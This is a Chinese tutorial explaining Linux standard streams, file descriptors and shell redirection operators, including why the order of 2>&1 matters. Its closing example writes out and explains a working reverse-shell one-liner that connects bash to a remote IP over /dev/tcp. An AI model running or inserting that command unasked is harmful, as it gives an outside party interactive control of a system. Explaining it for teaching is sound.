1.经常遇到< << > >> 0>&1是什么意思
以上表示某种输入输出重定向,具体了解前要知道什么是标准输入输出。
2.什么是标准输入输出
标准输入输出实际完整的叫法是标准输入输出文件。
linux系统中一切设备都是文件,都是对文件的操作。
具体就是:
标准输入文件(stdin),通常对应终端的键盘;
标准输出文件(stdout),这个文件都对应终端的屏幕。
还有个错误输出也是终端屏幕。
进程分别
将从标准输入文件中得到输入数据
将正常输出数据输出到标准输出文件,
将错误信息送到标准错误文件中。
3.关于重定向:
输入重定向:指把命令(或可执行程序)的标准输入重定向到指定的文件中。
也就是说,输入可以不来自键盘,而来自一个指定的文件。
所以说,输入重定向主要用于改变一个命令的输入源,特别是改变那些需要大量输入的输入源。
输出重定向:指把命令(或可执行程序)的标准输出或标准错误输出重新定向到指定文件中。
这样,该命令的输出就不显示在屏幕上,而是写入到指定文件中。
各自符号的重定向表示:
标准输入输出还有文件描述符:
0 是标准输入(STDIN),
1 是标准输出(STDOUT),
2 是标准错误输出(STDERR)。
1).
<:就是标准输入重定向(等同0<),
意思将某某文件作为程序输入,也就是从某文件读取而不是键盘。
比如:command < file(等同 command 0< file)
2).
>:就是标准输出重定向(等同1>),可以重定向到文件(以覆盖方式),网络
意思输出到别的文件不是屏幕。
>>:以追加方式输出到文件
比如:command > file(等同 command 1> file)
比如:command >> file
3).文件描述符和重定向符之间不能有空格(比如:是0<,不能是0 <)
程序的执行前,会先检查是否重定向,因此重定向符写在命令前后都可以,比如:
cat < file
等同:
cat 0< file
等同:
< file cat
等同:
0< file cat
提升1:&把标准输出和标准错误输出都重定向到相同文件:
&> file
等同:
>& file
等同:
> file 2>&1 //重定向符右边使用文件符需要加&,&1是标准输出,单独一个1识别成文件名称是1的文件。
比如:mkdir &> file //命令会出错,错误信息会写入file文件
提升2:多个重定向不同顺序意思不一样(程序执行从左往右执行)
1).command 2>&1 >8.txt
//原本标准错误输出变成标准输出的形式,原本标准输出变成输出到8.txt
int f0=0,f1=1,f2=2; //理解成每个程序都有三个坑,对应三个默认文件(0号,1号,2号),现在新建一个8号文件。
f2=f1;
f1=8;
2).command >8.txt 2>&1
//标准输出和标准错误输出都输出到文件8.txt中
f1=8;
f2=f1;
重点: [n]<&[m] / [n]>&[m] 重定向左右两边是标准文件符有复制的意思。
以上面为例子
标准错误和标准输出默认对应两个设备也就是两个不同文件(1号,2号文件)。
2>&1:即复制标准输出替换标准错误输出,值得注意的是,
如果复制前,(>8.txt 2>&1)标准输出已经被8.txt替换,那么复制的就是替换后的(8.txt),也就是错误输出和标准输出都是8.txt。
如果复制完成后,(2>&1 >8.txt)标准输出将被8.txt替换,那么复制的就是默认的1号文件,也就是复制了默认的标准输出。
2>&1 >8.txt:容易犯的错误理解:
将错误输出写到标准输出,标准输出又输出到8.txt,
那么错误输出和标准输出都会输出到8.txt,这是错误的理解!!!
实际可以理解成标准错误输出写到标准输出的克隆体,原标准输出写到8.txt。
为什么要反复强调,呃呃呃,之前就是这么想的。。。
特殊情况:
0<&1 //字面意思:从标准输出中读取数据
等同:
0>&1 //字面意思:将标准输出的内容写入键盘输入
那么最终意思是一样的。
4.例子
例子:
1.错误输出到文件file
$ command 2>file
2.输出和错误输出都输出到文件中
$ command > file 2>&1 等同: command >& file 等同: command &> file
3.从文件1读取,输出文件2
$ command < file1 >file2
提升例子:
bash -i >& /dev/tcp/10.201.61.194/6767 0>&1
1).bash -i:生成交互的命令行
2).>& /dev/tcp/10.201.61.194/6767:bash解释器会对/dev/tcp对特殊处理,建立tcp socket,那么就是标准和错误输出都写到网络中
3).0>&1:字面意思是从标准输出的内容读入程序,但因为标准输出已经变成了输出到网络,所以意思是从网络读取。